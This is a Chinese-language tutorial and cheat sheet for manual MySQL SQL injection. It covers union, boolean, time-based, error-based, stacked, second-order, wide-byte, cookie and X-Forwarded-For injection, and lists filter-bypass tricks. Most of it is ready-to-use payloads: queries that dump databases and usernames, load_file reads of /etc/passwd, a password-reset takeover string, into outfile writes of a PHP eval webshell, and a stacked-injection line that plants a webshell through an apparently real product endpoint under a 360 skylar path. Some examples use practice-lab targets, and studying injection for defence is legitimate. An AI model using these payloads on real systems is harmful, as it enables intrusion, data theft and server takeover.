mysql手工注入原理
基础知识
- mysql5.0以上数据库中存有information_schema这个默认数据库
其中需要特别记住三个表名:SCHEMATA\TABLES\COLUMNS
SCHEMATA:该用户创建的所有数据库的库名,其中记录库名的字段为SCHEMA_NAME
TABLES:存放该用户创建的所有数据库的库名和表名,记录库名的字段为TABLE_SCHEMA,记录表名的字段为TABLE_NAME
COLUMNS:存储所有数据库名,表名,字段名,库名表名字段名的字段分别为:TABLE_SCHEMA\TABLE_NAME\COLUMN_NAME
常用三个函数: database()显示当前数据库名,version()显示当前数据库版本,user()显示当前用户名
注意点
sql注入可能可以通过于get\post,各种http字段中中
有关通过cookie进行sql注入的文章
修改密码set password for root@localhost = password('1');
永真式' or '1'='1
具体视闭包而定
常用流程语句解析
判断闭包
select * from db1.stu_info where sno=1;
select * from db1.stu_info where sno=(1);
select * from db1.stu_info where sno=((1));
select * from db1.stu_info where sno='1';
select * from db1.stu_info where sno=('1');
select * from db1.stu_info where sno=(('1'));
select * from db1.stu_info where sno="1";
select * from db1.stu_info where sno=("1");
select * from db1.stu_info where sno=(("1"));
以上九种都是合法的闭包方式
很多时候我们需要考虑闭包的问题,上面我列出了九种闭包方式,当我们破坏了前面的闭包之后,后面会遗留半个闭包,这时候需要把他注释掉,sql中的注释方式有三种-- 或#或/*
,但是由于#在url中有特殊作用 ,所以不能直接用来作为注释(get方式),使用--
时,后面有个空格在url中会被忽略,所以一般使用--+
+号在url中是空格,或者进行url编码--%20
或者%23
,前者是把空格进行编码,后者是对#进行编码。--必须后面跟空格,#可跟可不跟。#也可用于post
limit 0,1
group_concat()
如果or和and被屏蔽了,则可以用||和&&来替代
可用于代替空格的东西:
%09水平tab
%0a新建一行
%0c新建一页
%0dreturn功能
%0b垂直tab键
%a0空格键
%00截断,后面不执行
%a0空格
如果--被屏蔽,可以考虑使用or '1'='1
之类的进行闭包
union注入
select * from table_name where xx=x and ...
select from 是sql语句中的最基础的查询语句,where可以限定查询的内容的条件,如where id=1
可以查出表中id为1的元组,当表中没有满足where语句的元组时,返回内容为空,and表示并列条件取并集,我们使用and 1=1
和and 1=2
来判断该处是否存在注入点,1=1是一个永真条件,而1=2是一个错误条件,如果两者注入后返回的结果不同,则说明条件语句被执行了,则此处一定存在注入点order by
该语句原意为以...为基准进行排序,除了使用列名以外,还可以使用数字来代替对应的列名,所以我们用这个子句进行判断表的列数,如果order by n
被成功执行了,则说明该语句至少有n列,如果报错,则说明列数小于nunion
该语句为集合运算,将前后的语句的执行结果取交集一并列出,如select xxxxx union select nnnnn
会将两次select选出的结果放在一个表里。需要注意的是union前后两者列出结果的列数应该相同,否则会报错,所以需要先判断列数再使用union,当我们判断列数之后使用union select 1,2...n
来判断服务器是否会执行union指令,如果执行了看他会返回那几列的内容,然后用database()等函数进行替换相应的列来获取我们想要的信息,如果执行了但是没有显示出我们列对应的数字,那么有可能是因为设置为只显示一行而导致后面的内容实现不出来,则考虑将前面的参数如id等等,值改成负数或者其他数据库中不太可能存在的数字再执行,这样由于前面select执行语句最后的显示结果为空,则显示出来的内容就可能是union之后的select语句- 通过上一步获取数据库名后,从information_schema这个数据库中获取该数据库的详细信息,
select table_name from information_schema.tables where table_schema='数据库名' limit 0,1
用这个语句来替换上面union中的数字,此处的意思为从i_s.t这个表中查询table_schema等于我们需要的那个数据库名的元组当中table_name这一列,limit 0,1
意思是从第0行开始起显示,只显示一行,可以通过修改后面那两个数字来改变查询的行数,该方法适用于mysql数据库。通过这一步我们知道了该数据库中所有的表名 select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1
用该语句替换上面union中的数字,此处的意思是从i_s.c这个表中查询相应库名和表名对应的表的列名,亦可以使用union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
,即使用group_contcat()
将查询结果打包输出select 列名 from 数据库名.表名 limit 0,1
利用上面得到的数据库名、表名、列名来获取我们所需要的信息
布尔注入
当发现网站只返回对错而不返回具体数据库的内容的时候,我们可以考虑使用布尔型注入
闭包and length(database())>=1--+
使用这个语句,修改length猜的长度来判断数据库名的长度闭包 substr(database(),1,1)='t'--+
截字判断数据库名中第n个字符,把符号换成ascii编码可以考虑用bp爆破ascii(substr(database(),1,1)=115)--+
and substr((select table_name from information_schema.tables where table_schema='xxx' limit0,1),1,1)='e'
用相同的方式,把测试代码贴入相同的地方进行尝试,以此查出表名、列名
报错注入
如果发现在使用错误的sql语句(如错误的闭包)时,网站把错误信息都给返回回来了,那么可以考虑报错注入
法一
爆出库名
index.php?id=2' AND (select 1 from(select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a)b) --+
爆出表名
index.php?id=2' AND (select 1 from(select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a)b) --+
爆出内容
?id=2' AND (select 1 from(select count(*),concat(0x3a,0x3a,(select username from users limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a)b) --+
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;
结果是有可能报错的,报错的时候会出现数据库的库名,因为group by按照a排序,a里面只会出现两种结果0,1,而且随机,所以总有一天会出现两个0或者两个1,此时报错,报错信息包含数据库库名
前面的select 1 from xxx,是使这个sql语句永恒为真,可以执行
法二
and updatexml(1,concat(0x7e,(select user())0x7e),1)--+
法三
and extractvalue(null,concat(0x7e,(select @@datadir),0x7e))
法四
select exp(~(select*from(select user())a))
时间注入
类似布尔
if (length(database())>1,sleep(5),1)
if(sustr(database(),1,1)='s'.sleep(5),1)
堆叠注入
利用分号执行多个语句
;select if(substr(user(),1,1)='r',sleep(5),1)%23
二次注入攻击
网站可能会在注册的时候对字符进行转义,导致无法正常使用注入语句,但是存入数据库的还是处理前的数据,并且在修改密码、查询这部分缺乏处理,取出的是带有特殊字符的恶意字符串
在注册页注册admin' -- -
修改admin' -- -
登录admin,使用刚才修改的密码,发现登录成功
注册test'
在查询页查test'order by n%23,后面就和正常union注入一样
写入木马/api/dp/rptsvcsyncpoint?ccid=1';create table O(T TEXT);insert into O(T) values('<?php @eval($_POST[1]);?>');copy O(T) to 'C:\Program Files (x86)\360\skylar6\www\1.php';drop table O;--
宽字节注入
如果数据库的编码为GBK,则可以使用这个来逃逸转义,在数据库中,先加一个%df,再加单引号,%df和反斜杠的编码%5c连在一起时会被当成一个繁体字?id=200%df%27union select 1,2,3 --+
cookie注入
如果发现cookie中带有参数,可以考虑通过cookie注入
XFF注入
可以通过X-Forwarded-for来进行sql注入
X-Forwarded-for:127.0.0.1' and 1=1#
绕过方式
- 大小写混写绕过
- 重复拼写绕过,如发现and被过滤,则可以考虑使用anandd,去掉一个还有一个
- 编码绕过,使用URL全编码对and等等关键字进行两次编码
- 内联注释绕过代替空格
/*!code*/
,升级版-1/*%!"/*/and/*%!"/*/1=1
- 用别的结果相同的字符来替代
- 利用+来实现危险字符拆分,如or可以被拆分成'o'+'r'
- 利用系统注释符来截断后面
- 利用like、in来代替=
- 宽字符绕过非法字符过滤(GB2312\GBK\GB18030\BIG5\SHIFT_JSI等双字节编码)
- 利用between\greatest替代盲注中的尖括号
- 使用from for来代替逗号,如ord(mid(user(),1,1))>114,变成substr(user() from 1 for 1)
利用into outfile和load_file()
select * from test1 into outfile "/tmp/abc.txt"; 把查询结果导出到文件
select * from test1 into outfile "c:\xxx.txt";
select load_file("/etc/passwd"); 加载某个文件
select load_file("/etc/passwd") into outfile "/root/123.txt"; 读取文件之后输出
apache中间件:
/var/www/html/
/var/www/
nginx中间件:
/home/wwwroot/
d=-2')) union select 1,database(),3 into outfile "/var/www/html/Less-7/z2.txt" --+
id=-2')) union select 1,'<?php @eval($_POST["haha"])?>',3 into outfile "/var/www/html/Less-7/muma.php" --+
在这种情况下,单引号可以包双引号```
mysql版本5.6以上,默认没有into outfile的支持
修改my.ini文件
其他
密码重置
法一:利用永真式
法二:越权重置
原句:update user set password="" where username='' and password=''
例:注册一个用户,用户名admin' # 密码123,填入后原句为update user set password="123" where username='admin' #' and password=''这样可以越过原密码篡改别人的密码
user-agent\referer等个人信息相关的报头
考虑到这里的值不止一个insert into xx ('a','b','c') vallues ('','',''),这种,不太适宜使用注释符,可以考虑整段替换后使其报错,如把user-agent整段替换成\,在bp里面看返回结果,可以考虑使用永真式之类的进行判断,然后可以考虑使用extractvalue一类进行注入